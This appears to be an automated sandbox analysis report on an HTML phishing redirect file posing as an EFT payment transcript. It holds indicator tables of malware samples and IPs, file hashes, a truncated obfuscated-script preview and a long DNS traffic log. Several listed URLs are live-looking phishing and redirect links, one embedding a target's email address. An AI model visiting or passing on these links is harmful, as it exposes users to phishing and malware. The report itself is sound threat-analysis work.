	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	172.64.150.63
s-part-0035.t-0009.t-msedge.net	installeasyassist.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer64v5.2.7.msi	Get hash	malicious	Unknown	Browse	13.107.246.63
	installer64v3.2.6.msi	Get hash	malicious	Unknown	Browse	13.107.246.63
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	QfBhv404w4.exe	Get hash	malicious	Phorpiex	Browse	13.107.246.63

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	172.67.190.234
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	172.64.150.63
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.80.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
AMAZON-AESUS	Set-up.exe	Get hash	malicious	Unknown	Browse	52.73.63.247
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	34.198.65.183
	https://kn0wbe4.compromisedblog.com/XZHJISTcycW1tZkROWG92Y2ZEc21laS80dzNTR2N0eEsvTDFRWGFNODdGaGtjNGo5VzRyMFRUQmFLM0grcGxUbnBSTVFhMEg2Smd3UkovaXVjaUpIcG1hZG5CQnh5aFlZTXNqNldTdm84cE5CMUtld0dCZzN4ZUFRK2lvL1FWTG92NUJsMnJ3OHFGckdTNFhnMkFUTFZFZTdKRnVJaTRuRGFKdXVyeUdCVytuQzdnMEV1ZExSMnlwWi9RPT0tLTdnZjhxQVZPbUdTdFZXVUEtLXA0bHNCNGxmeTdrdmlkWWRVcmRXRWc9PQ==?cid=2310423310	Get hash	malicious	KnowBe4	Browse	54.209.230.227
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	44.198.90.23
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	44.221.106.81
	ArjM1qx3hV.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	aRxo3E278B.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	yRc7UfFif9.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	gT6IitwToH.exe	Get hash	malicious	Bdaejec	Browse	44.221.84.105
	a2mNMrPxow.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
CLOUDFLARENETUS	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	Lets-x64.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	KL-3.1.16.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	Whyet-4.9.exe	Get hash	malicious	Nitol, Zegost	Browse	104.21.81.224
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	172.67.190.234
	T1#U52a9#U624b1.0.1.exe	Get hash	malicious	Unknown	Browse	172.64.150.63
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.80.1
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	rfWu0dUz6A.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Tool_Unlock_v1.2.exe	Get hash	malicious	Vidar	Browse	172.64.41.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.090085580492088
TrID:	HyperText Markup Language (15015/1) 20.56% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (11501/1) 15.75% HyperText Markup Language (11501/1) 15.75%
File name:	EFT Payment_Transcript__Survitecgroup.html
File size:	1'400 bytes
MD5:	f99cf5172a32fa61e27e51f4d13ae59e
SHA1:	59936ded6134a165c0210e58f046b58d3f5a1a42
SHA256:	3647f793778e03063591021b6262da9c4e56cd5ccf6aca799edc7c1eda8e1fd4
SHA512:	fd0331eafd45e85096da3337e44d67d233a1453175f98e748d081133da4dc633cf1290b4623d686f7bc1f08d9e1476ed4dd104ff97613ac69fe51a08a722616a
SSDEEP:	24:hPRCZHfuNkeKH6uSypurpoepsgpJMafv6K78GkQPYvkrMK:taHfuPSTPpuZGJc6h/oYvkQK
TLSH:	D8210F1230812C09957146219FC3F06DDA35B2372380994A398E5B0B0F77A1AC8D79FF
File Content Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Redirecting...</title>..</head>..<body>.. <script>.. (function() {.. // Obfu

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 16:58:57.699939966 CET	53	50212	1.1.1.1	192.168.2.4
Dec 29, 2024 16:58:57.775876999 CET	53	52419	1.1.1.1	192.168.2.4
Dec 29, 2024 16:58:59.785931110 CET	49722	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:58:59.786079884 CET	57184	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:00.233536959 CET	53	49722	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:00.233833075 CET	53	57184	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:00.731023073 CET	53	59458	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:02.175122023 CET	54966	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:02.175755024 CET	52759	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:02.314512014 CET	53	52759	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:02.314783096 CET	53	54966	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.080646992 CET	57444	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.080921888 CET	51568	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.082456112 CET	58823	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.082632065 CET	58431	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.083026886 CET	49375	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.083206892 CET	53284	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:04.219007015 CET	53	57444	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.220303059 CET	53	51568	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.221553087 CET	53	58431	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.221563101 CET	53	49375	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.221571922 CET	53	53284	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:04.223309994 CET	53	58823	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:06.274912119 CET	50960	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:06.275058031 CET	51320	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:06.390933037 CET	61253	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:06.391201019 CET	56468	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:06.413337946 CET	53	50960	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:06.413603067 CET	53	51320	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:06.529491901 CET	53	61253	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:06.529504061 CET	53	56468	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:08.134191990 CET	49745	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:08.135900021 CET	61949	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:08.152448893 CET	57945	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:08.152592897 CET	64603	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:08.272552013 CET	53	49745	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:08.274735928 CET	53	61949	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:08.291197062 CET	53	57945	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:08.292152882 CET	53	64603	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:10.165033102 CET	53	50316	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:13.546618938 CET	60735	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:13.547271967 CET	58354	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:13.684652090 CET	53	60735	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:13.688158035 CET	53	58354	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:17.665683985 CET	53	62933	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:17.934602022 CET	138	138	192.168.2.4	192.168.2.255
Dec 29, 2024 16:59:30.353106976 CET	51423	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:30.353261948 CET	60081	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:30.824362993 CET	53	60081	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:30.824489117 CET	53	51423	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:34.609134912 CET	58052	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:34.609316111 CET	51996	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:34.748830080 CET	53	51996	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:34.753534079 CET	53	58052	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:36.571854115 CET	53	50094	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:56.769556046 CET	58268	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:56.769704103 CET	56535	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:57.606300116 CET	53	65501	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:59.340388060 CET	53	51654	1.1.1.1	192.168.2.4
Dec 29, 2024 16:59:59.776793957 CET	49651	53	192.168.2.4	1.1.1.1
Dec 29, 2024 16:59:59.776921034 CET	64804	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:00.152972937 CET	53	64804	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:02.472321033 CET	58403	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:02.472451925 CET	49358	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:02.588546991 CET	53309	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:02.588682890 CET	62578	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:02.618670940 CET	53	58403	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:02.751329899 CET	53	62578	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:02.804105043 CET	53	49358	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:12.398303032 CET	61955	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:12.398437023 CET	62088	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:12.422241926 CET	51373	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:12.422699928 CET	63264	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:14.586576939 CET	65278	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:14.587007046 CET	59876	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:15.399094105 CET	60925	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:15.399261951 CET	54533	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:15.888775110 CET	54252	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:15.888953924 CET	54674	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:16.333692074 CET	59371	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:16.333858967 CET	51066	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:16.456135035 CET	60664	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:16.456376076 CET	51347	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:16.595870972 CET	53	51347	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:17.724829912 CET	55400	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:17.724983931 CET	57978	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:17.875790119 CET	54114	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:17.875931978 CET	49413	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:18.017263889 CET	53	54114	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:18.017815113 CET	53	49413	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:19.006567001 CET	51907	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.006789923 CET	59743	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.361808062 CET	50650	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.362143993 CET	60642	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.501765966 CET	53	60642	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:19.993937969 CET	58288	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.994158030 CET	61008	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.994735003 CET	55678	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:19.995001078 CET	64256	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:20.007282972 CET	52211	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:20.007466078 CET	58609	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:20.146039009 CET	53	52211	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:20.146168947 CET	53	58609	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:20.249588966 CET	53	64256	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:20.258299112 CET	53	55678	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:20.736572027 CET	53	58288	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:20.846688986 CET	53	61008	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:22.279063940 CET	49580	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:22.279202938 CET	58489	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:22.755007029 CET	53	49580	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:22.755058050 CET	53	58489	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:22.952650070 CET	53642	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:22.952790022 CET	64128	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.028428078 CET	53073	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.028574944 CET	60536	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.031188011 CET	53900	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.031330109 CET	63973	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.056333065 CET	52845	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.056493044 CET	55697	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.171858072 CET	56729	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.172015905 CET	59891	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.269129038 CET	53	64128	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.271975040 CET	53	60536	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.275331974 CET	53	52845	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.276516914 CET	53	55697	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.279900074 CET	56389	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.280097961 CET	56224	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.319122076 CET	53	56729	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.319271088 CET	53	59891	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.388916969 CET	65523	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.389040947 CET	50124	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.501682043 CET	53752	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.501832008 CET	61435	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.571753979 CET	53	56224	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.639961958 CET	53	61435	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.640575886 CET	53	53752	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.771075010 CET	53	53900	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.773418903 CET	53	63973	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.779443026 CET	54782	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.779568911 CET	55725	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:23.922327042 CET	53	55725	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:23.922602892 CET	53	54782	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:24.339904070 CET	64954	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:24.340115070 CET	62453	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:24.479883909 CET	53	62453	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:24.550740004 CET	53	64954	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:24.681359053 CET	57621	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:24.681797981 CET	62611	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:24.820571899 CET	53	62611	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.451059103 CET	54205	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.451332092 CET	59444	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.555047035 CET	57908	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.555175066 CET	61538	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.573846102 CET	61508	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.573990107 CET	63599	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.590167999 CET	53	59444	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.594346046 CET	53	54205	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.693754911 CET	53	57908	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.695945978 CET	53	61538	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.784473896 CET	53	63599	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:25.870989084 CET	54719	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:25.871289968 CET	57094	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:26.030222893 CET	53	57094	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:27.647490978 CET	49587	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:27.647826910 CET	54902	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:27.795742035 CET	60908	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:27.795938015 CET	56620	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:27.942054033 CET	53	56620	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:27.945221901 CET	53	60908	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:28.670897961 CET	63067	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:28.671077013 CET	59437	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:28.810868025 CET	53	63067	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:28.811150074 CET	53	59437	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:28.862000942 CET	51320	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:28.862262011 CET	50143	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:29.001045942 CET	53	50143	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:29.258960962 CET	53	51320	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:29.678025961 CET	61453	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:29.678347111 CET	62503	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:30.125631094 CET	53	62292	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:30.723666906 CET	53231	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:30.724092007 CET	64599	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:30.869201899 CET	53	64599	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:30.871143103 CET	53	53231	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:31.658468962 CET	53336	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:31.658596039 CET	58135	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:31.798471928 CET	53	58135	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:31.811772108 CET	53	53336	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:32.395050049 CET	56258	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:32.395350933 CET	56532	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:32.622814894 CET	53	56532	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:33.548696995 CET	58044	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.549144983 CET	54570	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.550082922 CET	52555	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.550244093 CET	53976	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.550585032 CET	59834	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.550721884 CET	57604	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.551987886 CET	54849	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.552246094 CET	57020	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:33.690897942 CET	53	57604	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:33.690938950 CET	53	59834	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:33.768337965 CET	53	54849	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:33.770394087 CET	53	54570	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:33.779772997 CET	53	57020	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:35.021291018 CET	50325	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.021435976 CET	53979	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.164233923 CET	53	53979	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:35.389436007 CET	49199	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.389842033 CET	53020	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.390767097 CET	62485	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.391128063 CET	53959	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:35.532656908 CET	53	62485	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:35.617506027 CET	53	53959	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:36.258719921 CET	65371	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:36.258985043 CET	49577	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:36.399571896 CET	53	49577	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:36.537902117 CET	55088	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:36.537902117 CET	60460	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:36.543742895 CET	53589	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:36.543742895 CET	65238	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.561088085 CET	50135	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.561088085 CET	52826	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.567801952 CET	51893	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.568169117 CET	51419	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.645024061 CET	62654	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.645397902 CET	51729	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.654707909 CET	51599	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.654894114 CET	53427	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:39.700014114 CET	53	50135	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:39.700586081 CET	53	52826	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:39.862746000 CET	53	53427	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:42.454919100 CET	58933	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:42.455049038 CET	53178	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:43.502830982 CET	49828	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:43.502999067 CET	53225	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:43.648936033 CET	53	53225	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:45.107598066 CET	61907	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:45.107748985 CET	64306	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:45.247092009 CET	53	61907	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:45.247999907 CET	53	64306	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:45.341197014 CET	54935	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:45.341362000 CET	53244	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:45.490200996 CET	53	53244	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:47.178258896 CET	65079	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:47.178508043 CET	61997	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:47.319952011 CET	53	61997	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:47.383423090 CET	52817	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:47.383630991 CET	58048	53	192.168.2.4	1.1.1.1
Dec 29, 2024 17:00:47.522696972 CET	53	58048	1.1.1.1	192.168.2.4
Dec 29, 2024 17:00:47.522833109 CET	53	52817	1.1.1.1	192.168.2.4
